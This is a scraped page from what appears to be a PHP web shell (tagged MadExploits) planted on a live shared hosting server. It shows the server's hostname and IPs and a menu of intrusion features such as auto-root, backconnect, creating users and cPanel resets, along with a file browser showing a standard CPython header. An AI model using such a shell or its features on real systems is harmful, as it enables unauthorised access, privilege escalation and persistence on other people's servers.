Linux host45.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
: 198.54.116.152 | : 216.73.216.115
Cant Read [ /etc/named.conf ]
8.1.32
bankpromax
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
alt /
python313 /
include /
python3.13 /
cpython /
[ HOME SHELL ]
Name
Size
Permission
Action
abstract.h
3.32
KB
-rw-r--r--
bytearrayobject.h
1.14
KB
-rw-r--r--
bytesobject.h
1.15
KB
-rw-r--r--
cellobject.h
1.05
KB
-rw-r--r--
ceval.h
1.09
KB
-rw-r--r--
classobject.h
2.19
KB
-rw-r--r--
code.h
14.85
KB
-rw-r--r--
compile.h
2.07
KB
-rw-r--r--
complexobject.h
909
B
-rw-r--r--
context.h
1.79
KB
-rw-r--r--
critical_section.h
5.46
KB
-rw-r--r--
descrobject.h
1.56
KB
-rw-r--r--
dictobject.h
3.78
KB
-rw-r--r--
fileobject.h
652
B
-rw-r--r--
fileutils.h
232
B
-rw-r--r--
floatobject.h
900
B
-rw-r--r--
frameobject.h
1.17
KB
-rw-r--r--
funcobject.h
6.88
KB
-rw-r--r--
genobject.h
2.93
KB
-rw-r--r--
import.h
725
B
-rw-r--r--
initconfig.h
8
KB
-rw-r--r--
listobject.h
1.76
KB
-rw-r--r--
lock.h
1.72
KB
-rw-r--r--
longintrepr.h
5
KB
-rw-r--r--
longobject.h
5.45
KB
-rw-r--r--
memoryobject.h
2.17
KB
-rw-r--r--
methodobject.h
2.22
KB
-rw-r--r--
modsupport.h
1.02
KB
-rw-r--r--
monitoring.h
7.52
KB
-rw-r--r--
object.h
18.63
KB
-rw-r--r--
objimpl.h
3.73
KB
-rw-r--r--
odictobject.h
1.28
KB
-rw-r--r--
picklebufobject.h
848
B
-rw-r--r--
pthread_stubs.h
3.83
KB
-rw-r--r--
pyatomic.h
16.12
KB
-rw-r--r--
pyatomic_gcc.h
18.68
KB
-rw-r--r--
pyatomic_msc.h
28.56
KB
-rw-r--r--
pyatomic_std.h
23.77
KB
-rw-r--r--
pyctype.h
1.35
KB
-rw-r--r--
pydebug.h
1.38
KB
-rw-r--r--
pyerrors.h
2.84
KB
-rw-r--r--
pyfpe.h
444
B
-rw-r--r--
pyframe.h
1.9
KB
-rw-r--r--
pyhash.h
1.35
KB
-rw-r--r--
pylifecycle.h
2.75
KB
-rw-r--r--
pymem.h
2.78
KB
-rw-r--r--
pystate.h
9.24
KB
-rw-r--r--
pystats.h
5.31
KB
-rw-r--r--
pythonrun.h
4.23
KB
-rw-r--r--
pythread.h
1.47
KB
-rw-r--r--
pytime.h
707
B
-rw-r--r--
setobject.h
2
KB
-rw-r--r--
sysmodule.h
775
B
-rw-r--r--
traceback.h
282
B
-rw-r--r--
tracemalloc.h
823
B
-rw-r--r--
tupleobject.h
1.3
KB
-rw-r--r--
unicodeobject.h
24.49
KB
-rw-r--r--
warnings.h
564
B
-rw-r--r--
weakrefobject.h
2.2
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : objimpl.h
#ifndef Py_CPYTHON_OBJIMPL_H # error "this header file must not be included directly" #endif static inline size_t _PyObject_SIZE(PyTypeObject *type) { return _Py_STATIC_CAST(size_t, type->tp_basicsize); } /* _PyObject_VAR_SIZE returns the number of bytes (as size_t) allocated for a vrbl-size object with nitems items, exclusive of gc overhead (if any). The value is rounded up to the closest multiple of sizeof(void *), in order to ensure that pointer fields at the end of the object are correctly aligned for the platform (this is of special importance for subclasses of, e.g., str or int, so that pointers can be stored after the embedded data). Note that there's no memory wastage in doing this, as malloc has to return (at worst) pointer-aligned memory anyway. */ #if ((SIZEOF_VOID_P - 1) & SIZEOF_VOID_P) != 0 # error "_PyObject_VAR_SIZE requires SIZEOF_VOID_P be a power of 2" #endif static inline size_t _PyObject_VAR_SIZE(PyTypeObject *type, Py_ssize_t nitems) { size_t size = _Py_STATIC_CAST(size_t, type->tp_basicsize); size += _Py_STATIC_CAST(size_t, nitems) * _Py_STATIC_CAST(size_t, type->tp_itemsize); return _Py_SIZE_ROUND_UP(size, SIZEOF_VOID_P); } /* This example code implements an object constructor with a custom allocator, where PyObject_New is inlined, and shows the important distinction between two steps (at least): 1) the actual allocation of the object storage; 2) the initialization of the Python specific fields in this storage with PyObject_{Init, InitVar}. PyObject * YourObject_New(...) { PyObject *op; op = (PyObject *) Your_Allocator(_PyObject_SIZE(YourTypeStruct)); if (op == NULL) { return PyErr_NoMemory(); } PyObject_Init(op, &YourTypeStruct); op->ob_field = value; ... return op; } Note that in C++, the use of the new operator usually implies that the 1st step is performed automatically for you, so in a C++ class constructor you would start directly with PyObject_Init/InitVar. */ typedef struct { /* user context passed as the first argument to the 2 functions */ void *ctx; /* allocate an arena of size bytes */ void* (*alloc) (void *ctx, size_t size); /* free an arena */ void (*free) (void *ctx, void *ptr, size_t size); } PyObjectArenaAllocator; /* Get the arena allocator. */ PyAPI_FUNC(void) PyObject_GetArenaAllocator(PyObjectArenaAllocator *allocator); /* Set the arena allocator. */ PyAPI_FUNC(void) PyObject_SetArenaAllocator(PyObjectArenaAllocator *allocator); /* Test if an object implements the garbage collector protocol */ PyAPI_FUNC(int) PyObject_IS_GC(PyObject *obj); // Test if a type supports weak references PyAPI_FUNC(int) PyType_SUPPORTS_WEAKREFS(PyTypeObject *type); PyAPI_FUNC(PyObject **) PyObject_GET_WEAKREFS_LISTPTR(PyObject *op); PyAPI_FUNC(PyObject *) PyUnstable_Object_GC_NewWithExtraData(PyTypeObject *, size_t); /* Visit all live GC-capable objects, similar to gc.get_objects(None). The * supplied callback is called on every such object with the void* arg set * to the supplied arg. Returning 0 from the callback ends iteration, returning * 1 allows iteration to continue. Returning any other value may result in * undefined behaviour. * * If new objects are (de)allocated by the callback it is undefined if they * will be visited. * Garbage collection is disabled during operation. Explicitly running a * collection in the callback may lead to undefined behaviour e.g. visiting the * same objects multiple times or not at all. */ typedef int (*gcvisitobjects_t)(PyObject*, void*); PyAPI_FUNC(void) PyUnstable_GC_VisitObjects(gcvisitobjects_t callback, void* arg);
Close